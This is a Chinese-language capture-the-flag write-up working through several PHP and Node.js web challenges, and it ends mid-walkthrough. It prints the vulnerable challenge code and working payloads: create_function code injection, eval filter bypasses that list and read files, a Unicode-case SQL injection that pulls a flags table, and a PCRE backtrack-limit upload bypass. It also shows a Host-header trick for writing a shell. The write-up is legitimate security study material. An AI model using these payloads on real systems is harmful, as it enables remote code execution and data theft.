前言
知道这个题目已经挺久的了,一直没充足的时间来练习和学习里面的干货。正好最近找完工作,在家有一周的缓冲时间,所以记录下解题过程。
function
打开题目指向的url可以看到一段代码:
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__); // 满足正则显示脚本源代码
} else {
$action('', $arg);
}
从正则语句中知道 $action
参数的首字母排除 a-z 0-9 和 _
,然后将 $action
的值当作方法结合 $arg
造成参数执行。
第一时间想到的是 create_function
函数,参考查的使用方法(【create_function()代码注入】)构造好 payload : ?action=\create_function&arg=0;}phpinfo();/*
可以看到,在 payload 中存在一个
\
,这是表示使用顶级命名空间下的create_function
函数,PHP里系统函数都是属于顶级命名空间标识(第一个\
)下,所以在编写PHP脚本时,一般不会特意的加上它。
接着我们读取题目中所需的flag:
?action=\create_function&arg=0;}print_r(scandir('../'));/*
?action=\create_function&arg=0;}print_r(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));/*
pcrewaf
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
看正则是判断用户输入的内容有没有PHP代码,如果没有,则写入文件。
P牛给出的 POC.py 利用了正则引擎回溯的特性,使之超出回溯次数上限默认的100万次条件。
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限
pcre.backtrack_limit
。
$ php -r "echo var_dump(ini_get('pcre.backtrack_limit'));"
string(7) "1000000"
phplimit
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
这题是要绕过正则,然后构造 eval
参数去读flag。
正则解析:[^\W]+
任意字符、\((?R)?\)
(参考递归模式)表示递归括号内的内容。
也就是说,如果我们传递 echo();
正则后就剩下 ;
符合,如果加参数 echo('123');
则原样返回,这样在于 ;
全等判断一定是不会为 true。
参考其他大佬的 writeup 存在两种解法:
?1=print_r(scandir(%27../%27));//&code=eval(implode(reset(get_defined_vars())));
?1=readfile(%27../OpenApi/server.php%27);//&code=eval(implode(reset(get_defined_vars())));
通过 get_defined_vars
函数查看接收所有已定义变量所组成的数组,reset
函数设置读取数组键名( _GET 默认是排在数组首位),在通过 implode
函数将一个一维数组的值转化为字符串通过 eval
函数执行。
其他大佬writeup中的payload:
?code=print_r(scandir(dirname(chdir(dirname(getcwd())))));
在Apache中还可以利用
getallheaders
去获取http头。另外在php 7.1下,getenv()函数新增了无参数时会获取服务段的env数据
nodechr
从代码上看,这应该是一个SQL注入绕过题。
可以看到在 safeKeyword
函数中,限制了 select union -- ;
字符串。
定位到 toUpperCase
字符串值转换为大写函数,并参考:Fuzz中的javascript大小写特性
看了下P牛在文章中的 fuzz 脚本,String.fromCodePoint()
方法会返回有效码位的 Unicode
编码字符串。码位是组成代码页的数值,有效范围是 0
到 0x10FFFF
。
char: I == ı == %C4%B1
、char: S == ſ == %C5%BF
这两个特殊字符可转成对应大写字符I
、S
,反过来在转小写上 char: k == K == %E2%84%AA
这也是个特殊字符。
注意,这里是要返回表中的 flag 哦,所以注入登录没有意义,必须要用 SQL 查询出 flag,写入 ctx.session.user
最终在 ADMIN 页面显示。
username=' unıon ſelect 1,flag,3 from flags/*&password=123
lumenserial
看下具体代码:
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
/*省略html代码*/
<?php if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif; ?>
分析一下代码,页面接收 POST
请求 $_POST['domain']
、$_POST['log']
,随后进行字符串构造在执行 shell_exec
函数,返回结果在通过 file_put_contents
函数写入日志文件。
关键点:
-
绕过判断文件名后缀
-
将内容写到文件中去
这里参考了一位大佬的:技巧,php在处理路径的时候,会递归的删除掉路径中存在的 /.
这样就导致了 pathinfo()
的 PATHINFO_EXTENSION
获取的文件名后缀为空,
所以 !in_array
为 true
,这样就成功进入 file_put_contents
函数这里。
这样虽然绕过了文件名,可是返回的内容如何写shell呢? 文件名是 $_SERVER['SERVER_NAME']
和 $log_name
拼接的,可控的 $domain
最终的返回结果会转义 <
、>
为html实体符。
经过 google 搜到 代码审计就该这么来 - 2 Mlecms 注入 相关文章中对 $_SERVER['SERVER_NAME']
的利用。
$_SERVER['SERVER_NAME']
被拼进了sql语句,$_SERVER['SERVER_NAME']
是什么鬼,能吃么?能伪造么? 答案是肯定的 来看看php官方对SERVER_NAME的定义
中文版
‘SERVER_NAME’ 当前运行脚本所在的服务器的主机名。如果脚本运行于虚拟主机中,该名称是由那个虚拟主机所设置的值决定。
英文版
‘SERVER_NAME’ The name of the server host under which the current script is executing. If the script is running on a virtual host, this will be the value defined for that virtual host.
Note: Under Apache 2, you must set UseCanonicalName = On and ServerName. Otherwise, this value reflects the hostname supplied by the client, which can be spoofed. It is not safe to rely on this value in security-dependent contexts.
有没有发现 英文版多了点东西 简单翻译一下: 在apache2 下 如果你没有设置ServerName或者没有把UseCanonicalName 设置为 On的话,这个值就会是客户端提供的hostname 不安全哟
那么这个客户端提供的hostname是什么鬼呢,其实就是http包中的Host: 字段的值
所以这里最终利用字符串拼接构造伪协议,将 dig 查询结果
写入服务器。
本地试一下,当http亲求传递 Host: php
时服务器接收如下:
Array
(
[HTTP_HOST] => php
[CONTENT_LENGTH] => 88
[HTTP_CACHE_CONTROL] => max-age=0
[HTTP_UPGRADE_INSECURE_REQUESTS] => 1
[HTTP_DNT] => 1
[CONTENT_TYPE] => application/x-www-form-urlencoded
......
构造参数实现文件上传: